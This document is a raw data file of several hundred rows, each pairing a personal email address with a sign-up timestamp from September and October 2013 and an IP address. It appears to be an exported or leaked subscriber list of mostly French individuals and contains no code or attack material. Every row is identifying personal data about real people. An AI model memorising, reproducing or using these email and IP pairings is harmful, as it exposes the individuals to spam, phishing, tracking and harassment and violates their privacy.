+861;mariejo77@yahoo.fr;2013-09-28 06:34:16;77.206.37.218 +862;melanie.accart@orange.fr;2013-09-28 07:52:44;90.52.54.40 +863;cbott@wanadoo.fr;2013-09-28 08:36:00;86.194.239.149 +864;mjdelassus@yahoo.fr;2013-09-28 09:41:23;86.67.161.51 +865;leonstephanie73@orange.fr;2013-09-28 09:47:40;109.210.205.207 +866;sarah.allais@wanadoo.fr;2013-09-28 09:59:54;90.44.141.151 +867;nathalie.rainereau@orange.fr;2013-09-28 10:20:42;2.1.124.175 +868;verne.catherine@sfr.fr;2013-09-28 10:37:12;109.20.241.63 +869;helenebotte@sfr.fr;2013-09-28 11:06:02;78.118.230.62 +870;vasseur.julie@ymail.com;2013-09-28 11:07:11;31.36.155.203 +872;francette.foureau@sfr.fr;2013-09-28 12:10:34;81.14.16.61 +873;pjean.regazzacci@orange.fr;2013-09-28 12:12:07;194.5.134.180 +874;patsf@sfr.fr;2013-09-28 12:15:14;86.69.93.41 +875;eve.cruz@dbmail.com;2013-09-28 13:11:19;89.227.245.137 +876;c2mangeot@gmail.com;2013-09-28 13:32:31;86.66.222.60 +877;gillette.ms@gmail.com;2013-09-28 14:27:07;31.39.26.149 +878;sylvainbrague@orange.fr;2013-09-28 14:40:23;92.138.6.81 +879;celinelamalvinoise@gmail.com;2013-09-28 14:48:25;109.212.177.197 +880;kidomdom@hotmail.fr;2013-09-28 15:23:53;93.25.247.84 +881;linejac.cabon@sfr.fr;2013-09-28 15:36:41;84.98.1.167 +882;martineverniest@sfr.fr;2013-09-28 17:19:25;80.118.58.39 +883;martine.lacroix@orange.fr;2013-09-28 17:22:13;86.194.54.150 +884;mariethefig@yahoo.fr;2013-09-28 17:41:40;89.227.5.180 +885;rubin.francis@wanadoo.fr;2013-09-28 17:51:03;83.192.85.124 +886;pharmacie.laurens@wanadoo.fr;2013-09-28 20:51:13;194.8.148.29 +887;itou.marielle@orange.fr;2013-09-28 21:13:50;83.205.139.41 +888;jtaillard25@aol.com;2013-09-28 21:26:11;84.6.59.120 +889;christine.dehay@laposte.net;2013-09-28 22:15:36;78.230.138.125 +890;christine.thiery@laposte.net;2013-09-29 00:23:30;83.194.93.55 +891;misssparksx@yahoo.com;2013-09-29 00:44:39;84.100.109.60 +892;claire_lucchesi@yahoo.fr;2013-09-29 11:06:02;88.166.138.183 +893;nadine.petrou@laposte.net;2013-09-29 12:09:29;92.90.21.14 +894;sandrineetlorenso@hotmail.fr;2013-09-29 13:17:45;88.141.236.96 +895;cdrlnature@free.fr;2013-09-29 13:30:01;82.228.229.168 +896;cako83240@hotmail.com;2013-09-29 14:09:22;84.6.140.62 +897;h.christol@hotmail.fr;2013-09-29 14:11:16;93.9.151.151 +898;christine.tissier00@orange.fr;2013-09-29 15:16:57;90.2.38.10 +899;sandrinecarrette@orange.fr;2013-09-29 16:08:12;90.13.108.128 +900;laurencevitse@yahoo.fr;2013-09-29 17:46:25;88.169.12.159 +901;c.herbreteau02@orange.fr;2013-09-29 19:14:51;90.59.198.216 +902;vanessa.garderet@yahoo.fr;2013-09-29 19:55:11;109.220.36.47 +903;martinerousse@orange.fr;2013-09-29 21:25:24;87.91.227.208 +904;helemartin@wanadoo.fr;2013-09-29 21:53:35;89.94.69.236 +905;clothilde_vialle@yahoo.fr;2013-09-29 21:59:53;82.236.10.154 +906;vanleefdaellaetitia.van@orange.fr;2013-09-29 22:39:45;90.84.144.133 +907;nathalie.albertazzi@gmail.com;2013-09-30 08:27:29;95.168.10.33 +908;martine.bolland@orange.fr;2013-09-30 08:41:57;86.212.71.223 +909;francewalter@gmail.com;2013-09-30 09:12:49;82.240.43.97 +910;ad.geoffroy@gmail.com;2013-09-30 09:15:10;88.137.180.2 +911;evy17@free.fr;2013-09-30 09:15:55;82.248.21.41 +912;veroniqueschnoering@hotmail.com;2013-09-30 09:35:05;62.31.250.64 +913;evelyne.pinies@orange.fr;2013-09-30 10:35:20;109.26.226.132 +914;dyouly@hotmail.fr;2013-09-30 11:03:18;78.118.153.192 +915;pat.berthomieu@gmail.com;2013-09-30 12:18:12;78.226.245.1 +916;sylvie.soulaigre@laposte.net;2013-09-30 12:26:09;91.223.125.28 +917;akazaouditou@gmail.com;2013-09-30 13:17:28;2.0.54.84 +918;tequiladrenaline@gmail.com;2013-09-30 13:27:37;41.250.159.186 +919;mireillela-spina@neuf.fr;2013-09-30 16:33:26;86.72.40.152 +921;villazea@wanadoo.fr;2013-09-30 17:30:50;109.220.194.217 +922;martine.delia@wanadoo.fr;2013-09-30 17:54:25;83.196.38.111 +923;tchentou@hotmail.fr;2013-09-30 18:34:46;79.82.86.164 +924;m.lov2013@yandex.ru;2013-09-30 19:10:43;90.37.173.29 +925;briattebd@free.fr;2013-09-30 19:11:05;82.254.214.223 +926;mcquetel@free.fr;2013-09-30 19:21:05;82.232.124.107 +927;emiliegardien@free.fr;2013-09-30 20:17:32;82.239.35.10 +928;dom.hy@orange.fr;2013-09-30 20:46:42;82.122.179.229 +929;v.ravel@wanadoo.fr;2013-09-30 20:58:32;86.194.108.217 +931;claude.masson0618@orange.fr;2013-09-30 21:50:28;90.6.114.230 +932;nathalie.felix1@gmail.com;2013-09-30 22:24:55;78.209.89.195 +933;madrise@neuf.fr;2013-09-30 22:37:12;123.50.89.58 +934;labendj@gmail.com;2013-09-30 23:05:10;82.216.252.208 +935;k.ahinna@hotmail.fr;2013-10-01 01:26:26;86.74.232.110 +936;annecal@hotmail.fr;2013-10-01 09:40:08;31.37.10.247 +937;iris.89@hotmail.fr;2013-10-01 12:53:04;95.174.182.121 +938;BERNARDBASS02@SFR.FR;2013-10-01 13:50:48;5.48.231.17 +939;hcosta@athanor.net;2013-10-01 16:36:15;85.168.5.204 +940;corinne.breit@orange.fr;2013-10-01 16:52:22;79.174.235.197 +941;sophieetmarco2011@hotmail.fr;2013-10-01 18:13:52;212.198.33.160 +942;cnicole@gmx.fr;2013-10-01 18:23:05;78.225.221.196 +943;aleyrangueslaure@gmail.com;2013-10-01 18:32:09;80.215.44.93 +944;bea.gautero@gmail.com;2013-10-01 19:29:57;92.129.166.201 +945;missrammstein15@msn.com;2013-10-01 21:00:34;92.147.151.58 +946;bats25@free.fr;2013-10-01 22:06:10;82.238.115.64 +947;titevivie83@hotmail.com;2013-10-01 22:43:32;78.116.174.201 +948;audrem.joelle@orange.fr;2013-10-01 23:03:10;92.139.176.250 +949;josette.ayma@laposte.net;2013-10-01 23:11:01;92.133.69.223 +950;75.babymag@gmail.com;2013-10-01 23:26:59;87.91.137.109 +951;florence.76230@hotmail.fr;2013-10-02 09:28:41;109.17.231.63 +953;tutti83330@hotmail.com;2013-10-02 12:48:23;82.245.229.81 +954;aurelie83330@gmail.com;2013-10-02 12:48:43;82.245.229.81 +955;veroniquebouvattier@yahoo.fr;2013-10-02 14:09:48;79.174.232.29 +956;abret42@gmail.com;2013-10-02 14:35:22;79.86.113.244 +957;koreiz@bluewin.ch;2013-10-02 16:12:36;81.62.107.67 +958;gaelle.nimal@orange.fr;2013-10-02 16:31:02;92.146.57.241 +959;natahlie.klein@free.fr;2013-10-02 16:40:14;88.183.118.209 +960;marcelle.fortrie@numericable.fr;2013-10-02 16:41:58;81.66.126.66 +961;vpc.jouvance@gmail.com;2013-10-02 16:42:05;193.221.96.2 +962;Laurence.bis@orange.fr;2013-10-02 19:58:18;92.158.19.113 +963;soulardchloe@hotmail.fr;2013-10-02 21:14:41;78.127.23.20 +964;katecaffe@hotmail.fr;2013-10-02 21:43:28;109.214.50.206 +966;sylvie.graham@free.fr;2013-10-02 22:14:26;77.201.142.42 +967;josiane.charriau@dbmail.com;2013-10-02 23:48:33;89.226.128.235 +968;nuriajo@hotmail.fr;2013-10-03 00:20:45;77.192.32.103 +969;marie-noelle.patte@orange.fr;2013-10-03 07:40:28;90.7.77.212 +970;didier.bournat091@orange.fr;2013-10-03 10:24:42;86.207.234.87 +971;mjdeballesteros@yrahoo.f;2013-10-03 12:30:37;81.56.121.110 +972;mpierre.dejonghe@gmail.com;2013-10-03 17:18:06;86.73.45.223 +973;clairehouadec@yahoo.fr;2013-10-03 19:23:20;88.183.253.11 +974;isabelle.jeanlhermitte@laposte.net;2013-10-03 20:17:09;88.180.14.106 +975;sevy48@hotmail.com;2013-10-03 21:27:56;88.86.236.89 +976;laulie9@hotmail.fr;2013-10-03 23:03:23;5.49.223.200 +977;maudperverie@gmail.com;2013-10-04 02:20:22;82.226.150.90 +978;gatin.francoise@orange.fr;2013-10-04 08:47:21;86.204.139.106 +979;laurencebas@wanadoo.fr;2013-10-04 11:59:04;141.194.10.62 +980;emengi@hotmail.nl;2013-10-04 13:06:28;80.101.190.90 +981;mona.assas@yahoo.fr;2013-10-04 16:37:15;95.176.53.6 +982;jeromepascale.texier@laposte.net;2013-10-04 17:06:10;88.181.18.129 +983;nilsfabi@hotmail.com;2013-10-04 17:19:21;88.180.202.32 +984;elodelt@LIVE.FR;2013-10-04 18:12:09;86.210.138.204 +985;aune.le.cherif@numericable.fr;2013-10-04 19:29:13;89.224.244.183 +986;cristhal@hotmail.fr;2013-10-05 10:09:47;78.251.168.23 +987;jmbouchard13@orange.fr;2013-10-05 10:25:02;86.214.223.183 +988;renaud.guenola@orange.fr;2013-10-05 12:26:55;90.49.193.254 +989;yoamodia@aol.fr;2013-10-05 15:05:54;78.247.234.200 +990;jean-pierre.rouger63@wanadoo.fr;2013-10-05 16:04:39;86.194.176.228 +991;Pdelasoie@hotmail.com;2013-10-05 16:34:26;90.14.229.243 +992;caroline.clara1407@gmail.com;2013-10-05 17:24:08;78.113.167.78 +993;sophieeyraud@hotmail.fr;2013-10-05 19:33:31;88.164.49.124 +994;marie.trouilh@laposte.net;2013-10-05 21:00:15;93.31.226.181 +995;marlenefugere@gmail.com;2013-10-05 21:32:18;90.56.176.36 +996;delphrei@calixo.net;2013-10-06 08:33:34;188.64.245.6 +997;karinecorine@hotmail.fr;2013-10-06 10:29:40;84.100.212.210 +998;silvie.jean-jacques@laposte.net;2013-10-06 13:14:42;92.142.138.236 +999;leterrier81@aliceadsl.fr;2013-10-06 14:33:28;78.217.176.74 +1000;alaure.leger@gmail.com;2013-10-06 15:01:59;86.210.12.242 +1001;danielle_fievet@hotmail.com;2013-10-06 15:44:52;176.181.47.32 +1002;lucille.durremberger@wanadoo.fr;2013-10-06 17:30:34;84.102.246.130 +1003;cjpoison@yahoo.fr;2013-10-06 17:51:22;78.231.164.50 +1004;o.cuberes@laposte.net;2013-10-06 18:12:18;88.176.230.1 +1005;vnadjarian@yahoo.fr;2013-10-06 18:36:59;79.81.251.164 +1006;patricia.bayle@yahoo.fr;2013-10-06 20:49:18;109.209.83.185 +1007;aumaks@yahoo.fr;2013-10-07 00:14:04;41.251.107.52 +1008;jpcharey@laposte.net;2013-10-07 07:51:59;88.163.249.220 +1009;sab.liautaud@hotmail.fr;2013-10-07 09:41:28;217.128.129.148 +1010;nriquier@free.fr;2013-10-07 10:57:14;78.225.122.159 +1011;a.groussard@laureselignac.fr;2013-10-07 11:10:25;80.15.206.146 +1012;stak1@free.fr;2013-10-07 14:40:48;2.0.68.80 +1013;myriametphil@wanadoo.fr;2013-10-07 15:44:00;78.121.1.253 +1014;monique.dejay@wanadoo.fr;2013-10-07 16:09:54;86.218.149.131 +1015;natilg@hotmail.fr;2013-10-07 21:43:10;86.208.2.151 +1016;sonia.livet@orange.fr;2013-10-07 21:51:11;86.192.81.23 +1017;pomme-cannelle@club-internet.fr;2013-10-07 22:52:10;77.192.146.177 +1018;STOOFY2@GMAIL.COM;2013-10-08 10:27:58;92.103.212.146 +1019;sterenn27@gmail.com;2013-10-08 11:09:50;90.22.203.174 +1020;julie.tracol@fleishmaneurope.com;2013-10-08 12:49:37;217.156.199.230 +1021;mybeautybazaarsite@gmail.com;2013-10-08 14:10:11;92.162.138.130 +1022;sandra-amen@hotmail.fr;2013-10-08 15:54:11;83.192.148.173 +1023;caro7798@gmail.com;2013-10-08 19:09:24;90.37.0.244 +1024;marycharlott@free.fr;2013-10-08 20:51:34;176.179.216.19 +1025;evelyne.manalich@yahoo.fr;2013-10-08 23:12:37;83.157.13.187 +1026;crochet.3am@wanadoo.fr;2013-10-09 12:50:09;37.58.149.77 +1027;winnie256@laposte.net;2013-10-09 13:41:47;93.9.122.153 +1028;brasseurfrancine@orange.fr;2013-10-09 14:46:31;2.12.147.196 +1029;melo.masson@gmail.com;2013-10-09 18:13:47;88.177.178.90 +1030;asvp56@hotmail.fr;2013-10-09 19:35:05;78.215.248.53 +1031;sandrou621757@orange.fr;2013-10-10 09:46:32;90.0.197.222 +1034;annickcastan@yahoo.fr;2013-10-10 11:39:00;194.214.141.14 +1035;stephanie.g@voila.fr;2013-10-10 15:03:46;89.93.115.167 +1036;tineducledou@hotmail.fr;2013-10-10 18:27:43;83.200.199.206 +1037;penaspatricia@gmail.com;2013-10-11 09:50:28;93.23.239.93 +1040;brigitte.zalewski@free.fr;2013-10-11 16:38:22;88.180.10.139 +1041;pharmacie.rollando@perso.alliadis.net;2013-10-11 17:00:23;194.5.134.181 +1042;c.pillotfauvel@orange.fr;2013-10-11 17:57:41;178.255.166.31 +1044;totinadu34@hotmail.fr;2013-10-11 21:15:42;82.231.33.238 +1045;annemarie.nanot@hotmail.fr;2013-10-11 22:27:31;78.247.190.137 +1046;marie-claire.thomas@hotmail.fr;2013-10-12 09:39:45;88.185.232.161 +1047;nadine.martin0442@orange.fr;2013-10-12 16:30:09;90.29.38.68 +1049;janemach0507@gmail.com;2013-10-12 18:51:15;88.207.220.214 +1050;aurelie.dalcin@live.fr;2013-10-13 08:48:00;77.200.55.116 +1051;lamy.vero@yahoo.fr;2013-10-13 11:24:27;86.201.211.244 +1052;megmaria69@live.fr;2013-10-13 12:19:20;79.82.7.177 +1053;muriel.szalata@sfr.fr;2013-10-13 12:44:25;80.185.160.4 +1054;simone.duronsoy@orange.fr;2013-10-13 18:46:00;83.198.157.168 +1055;mlachaud63@yahoo.fr;2013-10-13 22:34:23;109.13.152.74 +1056;bertrice.roger@orange.fr;2013-10-14 04:23:20;80.8.192.174 +1057;carine2401@hotmail.fr;2013-10-14 11:31:11;78.205.8.37 +1058;dominique.delabrosse@gmail.com;2013-10-14 13:59:36;89.2.175.8 +1059;tomoyo4@voila.fr;2013-10-14 16:21:56;93.22.26.31 +1060;steph.bohn@hotmail.fr;2013-10-14 16:21:57;88.180.61.117 +1061;nathalievlmgn@hotmail.com;2013-10-14 16:22:03;90.14.114.215 +1062;sophie.abiven@gmail.com;2013-10-14 16:24:50;92.139.86.199 +1063;shabia.costa@gmail.com;2013-10-14 16:25:57;188.251.113.242 +1064;maude97167@hotmail.fr;2013-10-14 16:26:34;88.175.73.193 +1066;jo.lou@wanadoo.fr;2013-10-14 16:27:27;2.9.36.122 +1067;melanie_renaudier@yahoo.fr;2013-10-14 16:27:27;82.255.138.49 +1068;katstef10@yahoo.fr;2013-10-14 16:28:08;194.8.148.131 +1069;verolaulo.08@orange.fr;2013-10-14 16:29:36;90.34.101.81 +1070;taygasuny@hotmail.com;2013-10-14 16:33:29;213.56.7.69 +1071;aurelielandolt@gmail.com;2013-10-14 16:33:30;109.217.68.219 +1072;sarbae@gmail.com;2013-10-14 16:41:41;62.189.92.72 +1073;annecourtel@gmail.com;2013-10-14 16:44:47;87.89.24.252 +1074;sgtoffee@yahoo.fr;2013-10-14 16:46:02;86.203.203.99 +1075;nejma-dor@hotmail.fr;2013-10-14 16:46:11;88.169.17.194 +1076;marine.guilbault@hotmail.fr;2013-10-14 16:46:52;212.64.5.163 +1077;virginievu@gmx.fr;2013-10-14 16:47:23;90.16.89.10 +1078;choup84@orange.fr;2013-10-14 16:51:48;86.196.105.195 +1079;laet.prevost@gmail.com;2013-10-14 16:57:29;194.250.98.243 +1080;alinette20169@hotmail.fr;2013-10-14 16:57:44;83.196.224.232 +1081;h.boulais@laposte.net;2013-10-14 16:59:01;89.2.251.111 +1082;babsams13@gmail.com;2013-10-14 17:03:55;90.2.96.45 +1083;ma.tuffeau@hotmail.fr;2013-10-14 17:04:45;86.221.211.128 +1084;chapatix@gmail.com;2013-10-14 17:08:50;80.215.1.97 +1085;s.v.91@hotmail.fr;2013-10-14 17:15:20;37.161.124.58 +1086;slechauve@hotmail.fr;2013-10-14 17:17:23;78.232.70.185 +1087;vania.unga@wanadoo.fr;2013-10-14 17:18:46;188.141.180.7 +1088;mme.laurentbrigitte@laposte.net;2013-10-14 17:21:58;213.166.198.154 +1089;cecilelerede@orange.fr;2013-10-14 17:29:27;92.139.218.49 +1090;carodelemos@hotmail.com;2013-10-14 17:36:27;109.88.10.151 +1091;avabracconi@ymail.com;2013-10-14 17:38:51;84.100.115.44 +1092;mathilde.bonnot@gmail.com;2013-10-14 17:47:41;83.112.91.250 +1093;juliepierrat30@gmail.com;2013-10-14 17:50:50;82.227.220.5 +1094;elisette25@hotmail.com;2013-10-14 18:17:06;78.236.156.153 +1095;emily34570@hotmail.fr;2013-10-14 18:18:53;194.8.148.30 +1096;emilieetsonnuage@hotmail.fr;2013-10-14 18:24:22;88.175.73.193 +1097;mipcoco@yahoo.fr;2013-10-14 18:32:06;82.247.91.214 +1098;mariejustine.carlier@gmail.com;2013-10-14 18:36:37;78.129.94.127 +1099;saburnin@live.fr;2013-10-14 18:37:59;80.15.74.132 +1101;romi974@gmx.fr;2013-10-14 18:49:20;78.212.89.118 +1102;aure2life@gmail.com;2013-10-14 18:57:22;109.210.62.106 +1103;aureliatillier@hotmail.com;2013-10-14 18:57:31;109.210.62.106 +1104;aurelia.guillaume@gmail.com;2013-10-14 18:57:46;109.210.62.106 +1105;ktycat-s@hotmail.fr;2013-10-14 19:01:50;77.205.17.227 +1106;dorothyange@voila.fr;2013-10-14 19:08:11;84.100.98.164 +1107;n.gauvrit@hotmail.fr;2013-10-14 19:10:27;83.195.115.100 +1108;vasse.claire@neuf.fr;2013-10-14 19:30:35;86.75.148.214 +1109;sylvia_fussler@yahoo.fr;2013-10-14 19:47:35;90.84.144.61 +1110;romain.sebastien@neuf.fr;2013-10-14 20:01:15;109.12.19.222 +1111;cpierre34@free.fr;2013-10-14 20:07:23;82.226.156.250 +1112;anne-heleneclugery@voila.fr;2013-10-14 20:08:35;86.211.171.17 +1113;christel.dargagnon@free.fr;2013-10-14 20:10:53;82.228.90.210 +1114;mathilde.mariaud@hotmail.fr;2013-10-14 20:22:34;86.217.185.110 +1115;yvettewagner@orange.fr;2013-10-14 20:24:11;109.217.236.93 +1116;marie.dumont@live.fr;2013-10-14 20:49:46;2.3.42.70 +1117;jjjulia21@hotmail.fr;2013-10-14 20:59:25;78.220.0.98 +1118;masselot.nathalie@orange.fr;2013-10-14 21:11:02;86.213.208.160 +1119;pinkperl@hotmail.fr;2013-10-14 21:18:00;78.236.62.154 +1120;rosemandell@gmail.com;2013-10-14 21:29:58;82.126.100.233 +1121;camillethomas89@gmail.com;2013-10-14 21:32:44;85.171.157.154 +1122;ninie.berland44@hotmail.fr;2013-10-14 22:11:19;88.188.58.55 +1123;josephinefilliot@hotmail.fr;2013-10-14 22:45:25;2.5.244.137 +1124;angel3392@voila.fr;2013-10-14 22:48:35;109.26.54.32 +1125;stephanie.jaubert@voila.fr;2013-10-14 23:14:48;90.34.181.21 +1126;gisele.marie@free.fr;2013-10-14 23:16:43;86.201.57.150 +1127;diodae@hotmail.com;2013-10-14 23:56:43;90.84.145.24 +1128;lafeeduciel@live.fr;2013-10-15 04:48:08;88.174.253.205 +1129;Tiphaine.vanacker@hotmail.fr;2013-10-15 06:18:57;88.186.211.62 +1130;olivialice@live.fr;2013-10-15 09:06:56;92.130.204.193 +1131;samtatale@gmail.com;2013-10-15 09:13:34;89.157.194.108 +1132;samanthasheppard999@hotmail.com;2013-10-15 09:13:43;89.157.194.108 +1133;gamalipette@hotmail.com;2013-10-15 09:53:33;46.182.213.8 +1134;n.meddahi@laposte.net;2013-10-15 10:03:56;80.14.233.17 +1135;desbois.francoise@wanadoo.fr;2013-10-15 10:58:09;86.214.33.132 +1137;aurelie.weirauch@gmail.com;2013-10-15 13:09:50;82.227.123.45 +1138;sitz.laetitia@club-internet.fr;2013-10-15 13:47:35;79.94.6.85 +1139;annie.lacoche@orange.fr;2013-10-15 14:45:46;86.198.252.79 +1140;laurence.chantrel@yahoo.fr;2013-10-15 14:55:30;78.121.182.1 +1141;jmltt@wanadoo.fr;2013-10-15 15:03:16;90.5.95.76 +1142;sylviane.blanchard@neuf.fr;2013-10-15 16:48:05;86.67.249.204 +1143;dominique.blanc.paul@gmail.com;2013-10-15 17:11:06;90.37.223.209 +1144;cookies.flo@gmail.fr;2013-10-15 18:25:47;2.11.248.156 +1145;emma.battaglia@wanadoo.fr;2013-10-15 18:50:13;90.20.92.227 +1146;pamelarenault@hotmail.fr;2013-10-15 19:52:13;84.98.129.124 +1147;cottegigi@free.fr;2013-10-15 20:07:47;83.156.26.15 +1148;cel.jea@gmail.com;2013-10-15 20:17:23;89.81.34.159 +1149;Usha_@hotmail.fr;2013-10-15 21:18:12;82.245.68.59 +1150;vittolaf@hotmail.fr;2013-10-15 21:58:00;78.245.136.106 +1151;mariethirion13@hotmail.com;2013-10-15 23:46:12;89.88.94.148 +1152;Delph.begue@gmail.com;2013-10-16 00:05:47;84.97.107.222 +1153;vanelouan@gmail.com;2013-10-16 10:12:25;88.180.32.53 +1154;xuwenying@hotmail.fr;2013-10-16 10:38:32;92.90.26.110 +1155;maryline.coulomb@hotmail.fr;2013-10-16 11:06:24;82.234.169.125 +1156;loliamsoph@hotmail.fr;2013-10-16 11:10:35;92.133.90.193 +1157;catherine.regnier302@orange.fr;2013-10-16 11:47:04;90.20.180.32 +1158;mapylou09@orange.fr;2013-10-16 14:34:43;78.155.156.32 +1159;arwenne002@hotmail.fr;2013-10-16 15:14:29;85.170.9.191 +1160;roxane.livon@free.fr;2013-10-16 15:41:43;80.11.148.238 +1161;cleoyaah@yahoo.fr;2013-10-16 16:37:37;2.230.136.12 +1162;jacqueline.bouvard@gmail.com;2013-10-16 18:01:33;109.213.159.219 +1163;marie.proyart@yahoo.fr;2013-10-16 21:26:59;81.65.49.189 +1164;BEA3906@HOTMAIL.COM;2013-10-16 22:17:42;78.242.247.63 +1165;angelique.loques@yahoo.fr;2013-10-16 22:28:59;90.84.146.221 +1166;niny007@wanadoo.fr;2013-10-16 23:21:40;86.209.118.113 +1167;fanny.bargoin@gmail.fr;2013-10-16 23:22:21;86.209.118.113 +1168;anthony.pothier@wanadoo.fr;2013-10-17 08:06:36;90.5.38.162 +1169;xxakhxx@live.fr;2013-10-17 08:56:40;90.49.213.126 +1170;dom.oura@orange.fr;2013-10-17 09:10:28;92.130.175.23 +1171;michele.mougin0209@orange.fr;2013-10-17 09:47:28;92.153.217.77 +1172;pdasilva@orange.fr;2013-10-17 11:05:54;89.89.124.55 +1173;j.yellet1@aliceadsl.fr;2013-10-17 11:37:58;90.13.21.116 +1174;krys713@hotmail.fr;2013-10-17 12:16:12;88.121.24.92 +1175;familleperetti@hotmail.fr;2013-10-17 13:24:16;46.218.141.226 +1176;carole.peretti@hilti.com;2013-10-17 13:24:37;46.218.141.226 +1177;michellieber@sfr.fr;2013-10-17 13:46:31;79.92.164.224 +1178;felbacqclaire@yahoo.fr;2013-10-17 14:19:42;90.84.146.212 +1179;scandela@new-sh.com;2013-10-17 14:29:07;149.11.100.10 +1180;zayane19@gmail.com;2013-10-17 16:16:37;84.55.153.72 +1181;odile.balourdet@gmail.com;2013-10-17 17:36:55;193.248.208.149 +1182;patricia.maene@gmail.com;2013-10-17 17:59:18;89.170.65.179 +1183;carolyn_chambon@yahoo.fr;2013-10-17 19:41:12;78.213.149.82 +1185;astrid.bayrou@orange.fr;2013-10-17 21:14:27;86.68.225.15 +1186;elianavb@hotmail.fr;2013-10-18 11:54:47;84.102.224.46 +1187;manoah.gulrich@gmail.com;2013-10-18 15:32:37;92.231.209.249 +1188;sev29380@gmail.com;2013-10-18 21:31:06;83.158.161.148 +1189;linda.henneuse@sfr.fr;2013-10-18 22:29:14;78.124.143.36 +1190;blemarquis@hotmail.fr;2013-10-18 22:56:52;78.242.55.135 +1191;amf13011@gmail.com;2013-10-19 09:46:00;77.195.45.190 +1192;marie.rojat@free.fr;2013-10-19 14:20:55;62.147.161.9 +1194;jourdoisa@wanadoo.fr;2013-10-19 15:04:32;92.162.150.6 +1195;panierdelys@yahoo.fr;2013-10-19 16:04:24;83.157.59.158 +1196;lou.p.84@hotmail.fr;2013-10-19 16:14:12;92.150.75.245 +1198;la_ptite_nenette_57@hotmail.fr;2013-10-19 17:34:21;90.35.167.235 +1200;m.by.mag@gmail.com;2013-10-19 23:47:47;83.113.38.2 +1201;carotibou@gmail.com;2013-10-20 04:02:34;109.29.23.139 +1202;seriot.fabienne@orange.fr;2013-10-20 07:08:15;92.130.173.137 +1203;lambert.beatrice@laposte.net;2013-10-20 09:42:50;78.235.29.164 +1204;lopez.emmanuelle@wanadoo.fr;2013-10-20 10:16:06;90.84.144.250 +1205;dauvilliers.yolande@wanadoo.fr;2013-10-20 12:32:33;90.46.23.212 +1206;fabienne.clochard@laposte.net;2013-10-20 15:31:47;109.30.42.43 +1208;michel.claudette@orange.fr;2013-10-21 11:23:52;92.135.160.129 +1209;louisederemusat@gmail.com;2013-10-21 11:44:15;83.197.184.113 +1210;joelle.mury@bbox.fr;2013-10-21 14:26:39;87.89.64.2 +1211;magalie.blanquart@yopmail.com;2013-10-21 17:14:22;92.147.31.140 +1212;eric.b.coste@garancia-beauty.com;2013-10-21 17:14:27;81.57.119.171 +1213;vaness.deoliveira@gmail.com;2013-10-21 20:09:19;90.1.121.250 +1214;sosophie1968@hotmail.com;2013-10-21 23:47:19;80.200.202.15 +1215;pierre-jenny@hotmail.com;2013-10-21 23:47:41;80.200.202.15 +1216;ogeoffray001@rss.fr;2013-10-22 09:50:08;93.20.136.101 +1217;colonna.line@orange.fr;2013-10-22 14:31:01;88.137.197.156 +1218;marielaure.lorenz@yahoo.fr;2013-10-22 14:32:04;89.185.176.2 +1219;filiatre.anne@gmail.com;2013-10-22 14:46:59;88.169.16.236 +1220;laurencecagnard@hotmail.fr;2013-10-22 14:51:38;93.5.183.211 +1221;joelle.ponsin@wanadoo.fr;2013-10-22 19:08:29;109.212.156.132 +1222;mariecamino2001@yahoo.fr;2013-10-23 09:39:29;86.68.219.70 +1223;sandrine.monod@hotmail.fr;2013-10-23 10:12:03;86.67.15.230 +1224;b.bournat@free.fr;2013-10-23 19:55:39;82.228.3.240 +1225;kisslolo@neuf.fr;2013-10-23 21:31:51;109.8.91.155 +1226;franckinette62@hotmail.fr;2013-10-25 00:52:56;90.7.148.158 +1227;amel-92@hotmail.fr;2013-10-25 10:21:34;81.57.119.171 +1228;cecile.gibelin@orange.fr;2013-10-25 11:26:31;46.218.84.135 +1229;anne.vuarchex@gmail.com;2013-10-25 12:35:14;188.154.170.155 +1230;stephanie.bastoni@neuf.fr;2013-10-25 17:42:39;86.72.227.136 +1231;jjthibault@club-internet.fr;2013-10-25 17:42:47;86.72.227.136 +1232;kikigac@live.fr;2013-10-25 17:42:59;109.217.17.149 +1233;edhont75@orange.fr;2013-10-25 17:45:16;90.39.125.33 +1234;aubertin_julia@hotmail.fr;2013-10-25 17:46:32;88.139.48.60 +1235;christelle.portes@free.fr;2013-10-25 17:48:12;82.237.103.122 +1236;sandraymeric@gmail.com;2013-10-25 17:50:20;90.50.157.53 +1238;caro.yaigre@yahoo.fr;2013-10-25 17:56:14;78.232.38.58 +1239;Stephane.grambert@wanadoo.fr;2013-10-25 18:01:49;90.42.183.173 +1240;nono.chaoui.m@hotmail.fr;2013-10-25 18:01:54;78.232.68.87 +1241;noli2009@hotmail.fr;2013-10-25 18:02:14;78.232.68.87 +1242;Pauline.megemont@live.fr;2013-10-25 18:03:56;86.71.25.196 +1243;christine.le.coz@gmail.com;2013-10-25 18:04:09;31.32.85.217 +1244;motek5962@yahoo.fr;2013-10-25 18:05:08;81.250.60.12 +1245;marietayon@orange.fr;2013-10-25 18:06:59;83.205.31.229 +1246;aurore.liegeois@gmail.com;2013-10-25 18:07:16;85.26.84.248 +1247;violette32@hotmail.com;2013-10-25 18:11:13;86.68.219.70 +1248;fpek@voila.fr;2013-10-25 18:20:42;2.13.226.6 +1249;fannyjoueuse@live.fr;2013-10-25 18:27:19;176.181.148.52 +1250;valerie.helm@wanadoo.fr;2013-10-25 18:28:34;82.121.222.87 +1251;sop.lointier@wanadoo.fr;2013-10-25 18:39:18;37.160.187.16 +1252;muse993@free.fr;2013-10-25 18:45:04;194.8.148.32 +1253;gregoire_emmanuel@orange.fr;2013-10-25 18:45:19;2.5.234.187 +1254;gigi.borabora@yahoo.fr;2013-10-25 18:49:43;90.32.138.202 +1255;veronique.debrauwer@sfr.fr;2013-10-25 18:52:47;92.90.26.68 +1256;mvdw007@hotmail.com;2013-10-25 19:01:37;85.10.80.207 +1257;emeline_savy@yahoo.fr;2013-10-25 19:01:41;78.124.73.21 +1258;caty.francou@orange.fr;2013-10-25 19:02:12;197.15.21.113 +1259;delphboy@gmail.com;2013-10-25 19:22:57;90.8.44.28 +1260;marie-therese.tempez@orange.fr;2013-10-25 19:36:56;92.142.26.223 +1261;vetault.frederique@bbox.fr;2013-10-25 19:38:41;80.215.33.65 +1262;laetitia.fellous@hotmail.fr;2013-10-25 19:41:54;78.232.38.121 +1263;meotmarie@free.fr;2013-10-25 19:43:05;83.153.212.93 +1264;eponamorticia@yahoo.fr;2013-10-25 19:49:53;88.179.41.67 +1265;Angelanacondas@hotmail.fr;2013-10-25 19:52:09;93.29.119.118 +1266;p.balsan@orange.fr;2013-10-25 19:55:05;86.207.149.3 